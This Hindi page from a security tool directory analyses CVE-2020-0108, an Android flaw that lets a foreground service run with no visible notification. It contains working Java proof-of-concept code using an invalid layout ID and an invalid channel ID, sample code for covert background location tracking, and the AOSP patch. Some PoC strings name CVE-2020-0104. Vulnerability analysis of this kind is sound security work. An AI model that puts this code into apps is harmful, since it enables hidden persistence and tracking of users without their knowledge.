Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
ServiceCheater — CVE-2020-0108 का PoC | Kitploit
उपकरण/GitHubGitHub/crackercat/servicecheater
एंड्रॉइड सुरक्षाविशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगमोबाइल सुरक्षा
GitHubcrackercat/servicecheater

ServiceCheater

CVE-2020-0108 का PoC

रिपॉजिटरी देखें
11136 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2020-0108 फ्रंटग्राउंड सेवा विशेषाधिकार वृद्धि भेद्यता विश्लेषण

1. भेद्यता पृष्ठभूमि

  • AOSP के 2020-08 पैच में, फ्रेमवर्क स्तर पर AMS में एक भेद्यता का खुलासा किया गया, जिसका नंबर CVE-2020-0108 है और रेटिंग High है। AMS में फ्रंटग्राउंड सेवाओं के प्रबंधन में एक तार्किक भेद्यता है, जिसका सफलतापूर्वक दोहन करके हमलावर फ्रंटग्राउंड सेवा की सूचना प्रदर्शन को दरकिनार कर सकते हैं और बैकग्राउंड में लगातार चला सकते हैं। हमले के लिए एक स्थानीय दुर्भावनापूर्ण एप्लिकेशन की आवश्यकता होती है, और उपयोगकर्ता की सहभागिता की आवश्यकता नहीं है। यदि उपयोगकर्ता एप्लिकेशन को अन्य अनुमतियाँ प्रदान करता है, तो अधिक नुकसान हो सकता है, जैसे लगातार स्थान ट्रैकिंग या मौन रिकॉर्डिंग आदि।

2. भेद्यता विवरण

  • प्रथम-योजना सेवा (फ्रंटग्राउंड सेवा) Google द्वारा Android 8.0 में शुरू की गई एक अवधारणा है। चूंकि Android 8.0 बैकग्राउंड सेवाओं को बैकग्राउंड में शुरू करने की अनुमति नहीं देता है, इसलिए फ्रंटग्राउंड सेवा की अवधारणा बनाई गई। फ्रंटग्राउंड सेवा की प्राथमिकता अधिक होती है और यह लंबे समय तक बैकग्राउंड में चल सकती है, लेकिन शुरू होने के 5 सेकंड के भीतर इसे एक सूचना से बांधना होता है, अन्यथा इसे समाप्त कर दिया जाएगा। वास्तव में, फ्रंटग्राउंड सेवा अभी भी "बैकग्राउंड" में चलती है, लेकिन उपयोगकर्ता को दिखाई देने वाली सूचना से बंधी होने के कारण Google इसे "फ्रंटग्राउंड सेवा" कहता है।
  • इस भेद्यता के दो हमले के तरीके हैं, जो दो तार्किक दोषों के अनुरूप हैं।
  • पहला दोष NotificationManagerService के onNotificationError विधि में है, जो सूचना प्रदर्शन में अपवादों को सही ढंग से नहीं संभालता है।
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/notification/NotificationManagerService.java
@Override
public void onNotificationError(int callingUid, int callingPid, String pkg, String tag,
        int id, int uid, int initialPid, String message, int userId) {
        cancelNotification(callingUid, callingPid, pkg, tag, id, 0, 0, false, userId,
                REASON_ERROR, null);
}
  • इस स्थिति में, फ्रंटग्राउंड सेवा शुरू होने के बाद, भले ही सूचना सही ढंग से प्रदर्शित न हो, फ्रंटग्राउंड सेवा समाप्त नहीं होती है। उदाहरण के लिए, फ्रंटग्राउंड सेवा सूचना बनाते समय कस्टम लेआउट का उपयोग करती है, RemoteViews ऑब्जेक्ट बनाते समय एक अमान्य resID मान पास करती है, तो NotificationManagerService जब सूचना के लेआउट को पार्स करता है, तो विफल होकर एक अपवाद फेंकता है और onNotificationError विधि को कॉल करता है। चूंकि onNotificationError विधि में केवल cancelNotification विधि को कॉल करके सूचना रद्द की जाती है, लेकिन सेवा या संपूर्ण एप्लिकेशन को समाप्त नहीं किया जाता है, इसलिए फ्रंटग्राउंड सेवा सूचना प्रदर्शित किए बिना चलती रहती है।
  • दूसरा दोष ServiceRecord के postNotification विधि में है, जो सूचना प्रदर्शन में अपवादों को सही ढंग से नहीं संभालता है, बल्कि अपवाद को उपयोगकर्ता प्रोग्राम पर फेंक देता है।
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/ServiceRecord.java
public void postNotification() {
    final int appUid = appInfo.uid;
    final int appPid = app.pid;
    if (foregroundId != 0 && foregroundNoti != null) {
        //...
        ams.mHandler.post(new Runnable() {
            public void run() {
                //...
                try {
                    //...
                } catch (RuntimeException e) {
                    Slog.w(TAG, "Error showing notification for service", e);
                    // If it gave us a garbage notification, it doesn't
                        // get to be foreground.
                    ams.setServiceForeground(instanceName, ServiceRecord.this,
                            0, null, 0, 0);
                    ams.crashApplication(appUid, appPid, localPackageName, -1,
                            "Bad notification for startForeground: " + e);
                }
            }
        });
    }
}
  • इस स्थिति में, फ्रंटग्राउंड सेवा शुरू होने के बाद, यदि उपयोगकर्ता प्रोग्राम मुख्य थ्रेड के अपवाद को पकड़ लेता है, भले ही सूचना सही ढंग से प्रदर्शित न हो, फ्रंटग्राउंड सेवा समाप्त नहीं होती है। उदाहरण के लिए, फ्रंटग्राउंड सेवा सूचना बनाते समय एक अमान्य चैनल आईडी (Channel ID) पास करती है, तो ServiceRecord के postNotification विधि में सूचना भेजते समय एक अपवाद फेंका जाता है। अपवाद हैंडलिंग में, केवल AMS के crashApplication विधि को कॉल करके एप्लिकेशन पर एक मुख्य थ्रेड अपवाद फेंका जाता है, लेकिन यदि एप्लिकेशन मुख्य थ्रेड पर अपवाद को पकड़ लेता है, तो एप्लिकेशन क्रैश नहीं होता है, और फ्रंटग्राउंड सेवा सूचना प्रदर्शित किए बिना चलती रहती है।

3. भेद्यता सत्यापन

  • पहले दोष को निम्नलिखित कोड का उपयोग करके फ्रंटग्राउंड सेवा में ट्रिगर किया जा सकता है
root@kitploit:~
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel notificationChannel = new NotificationChannel("c01", "CVE-2020-0104", NotificationManager.IMPORTANCE_DEFAULT);
notificationChannel.setDescription("Testing CVE-2020-0104");
notificationChannel.enableLights(true);
notificationChannel.setLightColor(Color.RED);
notificationChannel.enableVibration(true);
notificationChannel.setVibrationPattern(new long[]{100, 200, 300, 400, 500, 400, 300, 200, 100});
notificationManager.createNotificationChannel(notificationChannel);
//  Create a RemoteViews object with a invalid layout ID
RemoteViews remoteViews = new RemoteViews(getPackageName(), -1 /* A Invalid Layout ID */);
Notification notification = new NotificationCompat.Builder(this, "c01")
        .setContentTitle("Testing CVE-2020-0104")
        .setContentText("If you see this means you device is not vulnerable")
        .setCustomBigContentView(remoteViews)
        .setWhen(System.currentTimeMillis())
        .setSmallIcon(R.drawable.ic_launcher_foreground)
        .setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
        .build();
startForeground(1, notification);
  • RemoteViews ऑब्जेक्ट बनाते समय, हमने लेआउट आईडी (Layout ID) -1 निर्दिष्ट किया, जो स्पष्ट रूप से एक अमान्य मान है, इस प्रकार onNotificationError कॉलबैक को ट्रिगर किया जा सकता है।
  • दूसरे दोष को निम्नलिखित कोड का उपयोग करके फ्रंटग्राउंड सेवा में ट्रिगर किया जा सकता है
root@kitploit:~
//   Handle the exception in main loop
new Handler(Looper.getMainLooper()).post(new Runnable() {
    @Override
    public void run() {
        while (true) {
            try {
                Looper.loop();
            } catch (Throwable e) {
                e.printStackTrace();
            }
        }
    }
});
//   Create a Notification object with a invalid channel ID
Notification notification = new NotificationCompat.Builder(this, "InvalidInvalidInvalid" /* A Invalid Channel ID */)
        .setContentTitle("Testing CVE-2020-0104")
        .setContentText("If you see this means you device is not vulnerable")
        .setWhen(System.currentTimeMillis())
        .setSmallIcon(R.drawable.ic_launcher_foreground)
        .setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
        .build();
startForeground(2, notification);
  • इस बार हमने सीधे NotificationChannel ऑब्जेक्ट नहीं बनाया, बल्कि एक अमान्य चैनल आईडी (Channel ID) का उपयोग करके सूचना (Notification) बनाई, जिससे postNotification विधि में अपवाद ट्रिगर होता है, और फिर हम मुख्य थ्रेड के अपवाद को पकड़ लेते हैं, जिससे एप्लिकेशन क्रैश नहीं होता।

4. भेद्यता प्रभाव

  • इस भेद्यता का सफलतापूर्वक दोहन करके, एक दुर्भावनापूर्ण एप्लिकेशन बैकग्राउंड में चुपचाप एक उच्च-प्राथमिकता वाली फ्रंटग्राउंड सेवा शुरू कर सकता है और इसे लगातार चला सकता है।
  • बड़ा प्रभाव यह है कि एप्लिकेशन स्थान अनुमति का उपयोग करके उपयोगकर्ता को ट्रैक कर सकता है। चूंकि फ्रंटग्राउंड सेवा का उपयोग किया जाता है, भले ही "केवल फ्रंटग्राउंड में स्थान एक्सेस की अनुमति दें" चुना गया हो, फिर भी "बैकग्राउंड" में स्थान ट्रैकिंग संभव है, और उपयोगकर्ता को इसका पता नहीं चलता।
root@kitploit:~
public void refreshLocation() {
    LocationManager locationManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
    String provider = LocationManager.GPS_PROVIDER;
    if (!checkPermission(Manifest.permission.ACCESS_FINE_LOCATION)) {
        return;
    }
    locationManager.requestLocationUpdates(provider, 2000, 10, new LocationListener() {
        @Override
        public void onLocationChanged(Location location) {
            double lat = location.getLatitude();
            double lng = location.getLongitude();
            Log.i(TAG, "Location Update: Latitude="+lat+",Longitude="+lng);
        }

        @Override
        public void onStatusChanged(String provider, int status, Bundle extras) {

        }

        @Override
        public void onProviderEnabled(String provider) {

        }

        @Override
        public void onProviderDisabled(String provider) {

        }
    });
}

5. भेद्यता पैच

  • Google ने 2020-08 पैच में इस भेद्यता को ठीक किया। मुख्य परिवर्तन यह है कि onNotificationError कॉलबैक में एप्लिकेशन को जबरन क्रैश किया जाता है, और postNotification विधि के अपवाद हैंडलिंग में भी एप्लिकेशन को जबरन क्रैश किया जाता है। crashApplication विधि में force=true मोड में, AMS अपवाद फेंकने के 5 सेकंड के भीतर एप्लिकेशन को जबरन मार देता है, भले ही एप्लिकेशन ने अपवाद को पकड़ लिया हो।
  • onNotificationError विधि में crashApplication विधि को कॉल करके एप्लिकेशन को क्रैश किया जाता है, और force=true होता है।
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/notification/NotificationManagerService.java
@Override
public void onNotificationError(int callingUid, int callingPid, String pkg, String tag,
        int id, int uid, int initialPid, String message, int userId) {
    final boolean fgService;
    synchronized (mNotificationLock) {
        NotificationRecord r = findNotificationLocked(pkg, tag, id, userId);
        fgService = r != null && (r.getNotification().flags & FLAG_FOREGROUND_SERVICE) != 0;
    }
    cancelNotification(callingUid, callingPid, pkg, tag, id, 0, 0, false, userId,
            REASON_ERROR, null);
    if (fgService) {
        // Still crash for foreground services, preventing the not-crash behaviour abused
        // by apps to give us a garbage notification and silently start a fg service.
        Binder.withCleanCallingIdentity(
                () -> mAm.crashApplication(uid, initialPid, pkg, -1,
                    "Bad notification(tag=" + tag + ", id=" + id + ") posted from package "
                        + pkg + ", crashing app(uid=" + uid + ", pid=" + initialPid + "): "
                        + message, true /* force */));
    }
}
  • postNotification विधि के अपवाद हैंडलिंग में killMisbehavingService विधि को कॉल करके दुर्व्यवहार करने वाली सेवा को मार दिया जाता है।
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/ServiceRecord.java
} catch (RuntimeException e) {
    Slog.w(TAG, "Error showing notification for service", e);
    // If it gave us a garbage notification, it doesn't
    // get to be foreground.
    ams.mServices.killMisbehavingService(record,
            appUid, appPid, localPackageName);
}
  • killMisbehavingService विधि में लॉक करने के अलावा भी crashApplication विधि को कॉल किया जाता है।
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/ActiveServices.java
void killMisbehavingService(ServiceRecord r,
    int appUid, int appPid, String localPackageName) {
    synchronized (mAm) {
        stopServiceLocked(r);
        mAm.crashApplication(appUid, appPid, localPackageName, -1,
            "Bad notification for startForeground", true /*force*/);
    }
}
  • force=true के लिए हैंडलिंग इस प्रकार है: अपवाद फेंकने के 5 सेकंड के भीतर एप्लिकेशन को जबरन मार दिया जाता है।
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/AppErrors.java
if (force) {
    // If the app is responsive, the scheduled crash will happen as expected
    // and then the delayed summary kill will be a no-op.
    final ProcessRecord p = proc;
    mService.mHandler.postDelayed(
            () -> killAppImmediateLocked(p, "forced", "killed for invalid state"),
            5000L);
}
टूल डाउनलोड करें